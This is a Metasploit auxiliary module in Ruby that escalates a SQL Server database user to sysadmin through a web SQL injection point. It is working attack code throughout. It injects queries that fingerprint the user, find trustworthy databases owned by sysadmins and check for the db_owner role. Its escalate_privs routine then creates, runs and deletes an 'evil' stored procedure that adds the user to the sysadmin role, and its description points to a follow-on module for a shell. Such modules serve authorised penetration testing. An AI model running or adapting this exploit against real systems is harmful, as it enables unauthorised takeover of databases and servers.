## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/mssql_commands' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL_SQLI include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner', 'Description' => %q{ This module can be used to escalate SQL Server user privileges to sysadmin through a web SQL Injection. In order to escalate, the database user must to have the db_owner role in a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin role, the mssql_payload_sqli module can be used to obtain a shell on the system. The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];-- }, 'Author' => [ 'nullbind '], 'License' => MSF_LICENSE, 'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] )) end def run # Get the database user name print_status("#{peer} - Grabbing the database user name from ...") db_user = get_username if db_user.nil? print_error("#{peer} - Unable to grab user name...") return else print_good("#{peer} - Database user: #{db_user}") end # Grab sysadmin status print_status("#{peer} - Checking if #{db_user} is already a sysadmin...") admin_status = check_sysadmin if admin_status.nil? print_error("#{peer} - Couldn't retrieve user status, aborting...") return elsif admin_status == '1' print_error("#{peer} - #{db_user} is already a sysadmin, no esclation needed.") return else print_good("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.") end # Check for trusted databases owned by sysadmins print_status("#{peer} - Checking for trusted databases owned by sysadmins...") trust_db_list = check_trust_dbs if trust_db_list.nil? || trust_db_list.length == 0 print_error("#{peer} - No databases owned by sysadmin were found flagged as trustworthy.") return else # Display list of accessible databases to user print_good("#{peer} - #{trust_db_list.length} affected database(s) were found:") trust_db_list.each do |db| print_status(" - #{db}") end end # Check if the user has the db_owner role in any of the databases print_status("#{peer} - Checking if #{db_user} has the db_owner role in any of them...") owner_status = check_db_owner(trust_db_list) if owner_status.nil? print_error("#{peer} - Fail buckets, the user doesn't have db_owner role anywhere.") return else print_good("#{peer} - #{db_user} has the db_owner role on #{owner_status}.") end # Attempt to escalate to sysadmin print_status("#{peer} - Attempting to add #{db_user} to sysadmin role...") escalate_privs(owner_status, db_user) admin_status = check_sysadmin if admin_status && admin_status == '1' print_good("#{peer} - Success! #{db_user} is now a sysadmin!") else print_error("#{peer} - Fail buckets, something went wrong.") end end def peer "#{rhost}:#{rport}" end def get_username # Setup query to check for database username clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')" # Run query result = mssql_query(sql) # Parse result if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ user_name = $1 else user_name = nil end user_name end def check_sysadmin # Setup query to check for sysadmin clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')" # Run query result = mssql_query(sql) # Parse result if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ status = $1 else status = nil end status end def check_trust_dbs # Setup query to check for trusted databases owned by sysadmins clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName FROM sys.server_principals r INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))" # Run query res = mssql_query(sql) unless res && res.body return nil end #Parse results parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m) if parsed_result && !parsed_result.empty? parsed_result.flatten! parsed_result.uniq! end print_status("#{parsed_result.inspect}") parsed_result end def check_db_owner(trust_db_list) # Check if the user has the db_owner role is any databases trust_db_list.each do |db| # Setup query clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName from [#{db}].sys.database_role_members drm join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))" # Run query result = mssql_query(sql) unless result && result.body next end # Parse result if result.body =~ /#{clue_start}([^>]*)#{clue_end}/ return $1 end end nil end # Attempt to escalate privileges def escalate_privs(dbowner_db,db_user) # Create the evil stored procedure WITH EXECUTE AS OWNER evil_sql_create = "1;use #{dbowner_db}; DECLARE @myevil as varchar(max) set @myevil = ' CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER as begin EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin'' end'; exec(@myevil);--" mssql_query(evil_sql_create) # Run the evil stored procedure evilsql_run = "1;use #{dbowner_db}; DECLARE @myevil2 as varchar(max) set @myevil2 = 'EXEC sp_elevate_me' exec(@myevil2);--" mssql_query(evilsql_run) # Remove evil procedure evilsql_remove = "1;use #{dbowner_db}; DECLARE @myevil3 as varchar(max) set @myevil3 = 'DROP PROCEDURE sp_elevate_me' exec(@myevil3);--" mssql_query(evilsql_remove) end end